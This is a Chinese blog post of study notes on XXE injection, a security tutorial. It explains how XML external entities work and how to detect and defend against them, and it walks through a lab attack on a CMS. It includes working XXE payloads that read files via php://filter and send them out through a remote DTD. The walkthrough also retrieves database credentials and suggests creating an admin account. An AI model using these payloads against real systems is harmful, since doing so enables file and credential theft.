学习记录-xxe实体注入

学习记录-xxe实体注入

注:本文仅用于学术交流,不用于其他用途

一、基础知识
1)xxe实质
也称外部实体注入,简单的讲就是将攻击者输入的代码作为xml语言注入,利用xml可以通过协议加载访问服务,通常情况下是需要将注入的数据外带出来,可以使用炮台,也可以自己搭建需要公网ip

2)炮台实质
对于xxe来讲就是讲数据外带出来,如php作为炮台一般是三个文件
1.xml文件,这个用于注入的时候写入去加载这个xml,里面预定义file实体然后讲file作为get传参带上去访问php,这里file实体实际是我们去访问目的文件返回的内容作为的实体,只是提前写好
2.php文件用于接收xml访问发送的传参,然后获取传参存储在txt
3.txt文件用于存储php接受的参数

3)攻击解析(如:php文件中出现代码)

\$a=file_get_contents("put://input") #获取所以post传参以字符串返回
\$b=simplexml_load_string(\$a)       #将\$a以xml解析

如果我们这个时候在截取的包里面加入准备好的xml注入语句,就可以达到攻击目的

4)典型攻击xxe注入代码
这里是x.xml就是炮台的xml,file就是访问目标文件的实体参数,这里是以php伪协议访问,其实xml是支持很多协议访问,注意的是为了不影响访问内容含有特殊字符的影响,用base64编码处理;xxe其实和SSRF很相似,不过xxe是基于xml去访问,SSRF是直接让服务器代替攻击者访问

<?xml version="1.0"?>            
<!DOCTYPE ANY[                     
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=xxx.php">  
<!ENTITY % remote SYSTEM "xxx/x.xml"> 
%remote;
%send; 
]>

5)xml基础知识

1.典型攻击

//<?xml...>声明版本以及类型,<!DOCTYPE xxx[...]> 为DTD部分,<foo>...</foo>为正文部分
<?xml version="1.0"?>            
<!DOCTYPE foo[
<!ENTITY foo ANY>                
<!ENTITY xxe SYSTEM "file://xx/xx">]>
<foo>&xxe;</foo>

DTD:
a.可自定义标签属性,属性描述可继续定义其他标签属性,也可引进外部,这样就会存在xxe漏洞,<!DOCTYPE 根标签[属性描述]>
b.若需要引进外部,SYSTEM为标志,系统文件(若是pubLic,是公共文件)定义实体可通过协议加载文件,若加载其他非法文件就是xxe
c.DTD实体可以内部声明或外部引用,内部实体声明:<!ENTITY 实体名称 "实体的值"> 如:<!ENTITY a "aa"> &a实体直接用,值为aa

正文:
可用$引入实体如xxe,标签可自定义使用,DTD里面已经对自定义标签定义了属性

2.xml是一种语言,没有预定义的标签,主要是存储和传输数据,xml文件是纯文本,不会做任何事情,可以存储数据;传输数据如php可通过xml语言引入外部,如simplexml_load_string()函数,就会去加载执行xml语句

3.与html区别,html主要是显示数据

6)不同语言支持的外部应用协议
在这里插入图片描述
7)XXE如何寻找
1.黑盒测试,遇到传参的地方出现了XML代码格式的东西,不妨传参一些错误的XML代码(或者正确的xml语句但是外部路径是错误的)去尝试看看传参后是否有报错,页面是否显示了实体中的东西,一般情况下就算正确的xml正确的外部路径也会报错,这个取决于访问目标文件本身的逻辑关系
2.白盒测试,直接代码审计对应的函数有没有加载xml外部实体然后没做限制

8)xxe防御
1.过滤用户提交的xml数据如关键词:SYSTEM、PUBLIC
2.使用禁用外部实体函数,如php:libxml_disable_entity_loader(true)

9)某靶场简单攻击过程
在这里插入图片描述
我们发现这个是一个cms,第一个可以直接去网上查漏洞 第二个下载cms源码查看,发现cms有一个文件weixin里默认index.php含有simplexml_load_string(函数)可能存在xxe漏洞,传参截取数据包访问

通过代码审计发现要使用函数加载xml,必须要signature不等于空,我们截取数据包,写入get传参signature值让能去访问代码函数,修改传参方式为post,file_get_contents(“put://input”)是获取post内容,post传参内容写入php函数执行发现不是xml语句报错,且报错展示某些信息如函数和绝对路径,修改访问路径为/weixin

在这里插入图片描述
传入攻击代码,借助炮台输出数据,程序一般都会有配置文件,我们可以去xxe配置文件,这里知道绝对路径,可以去爆破配置文件(cms一般不特意设置其实都是固定的位置),如果粗暴点不用去找绝对路径,发现有xxe和报错函数,然后直接用字典去爆破也可以

在这里插入图片描述
在这里插入图片描述

将获取的信息通过base64解码,获取到数据库的信息,通过数据库信息有些网站可以通过web操作进入数据库,然后给自己建个管理员权限的账号
在这里插入图片描述
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/SmileAndFun/article/details/108430499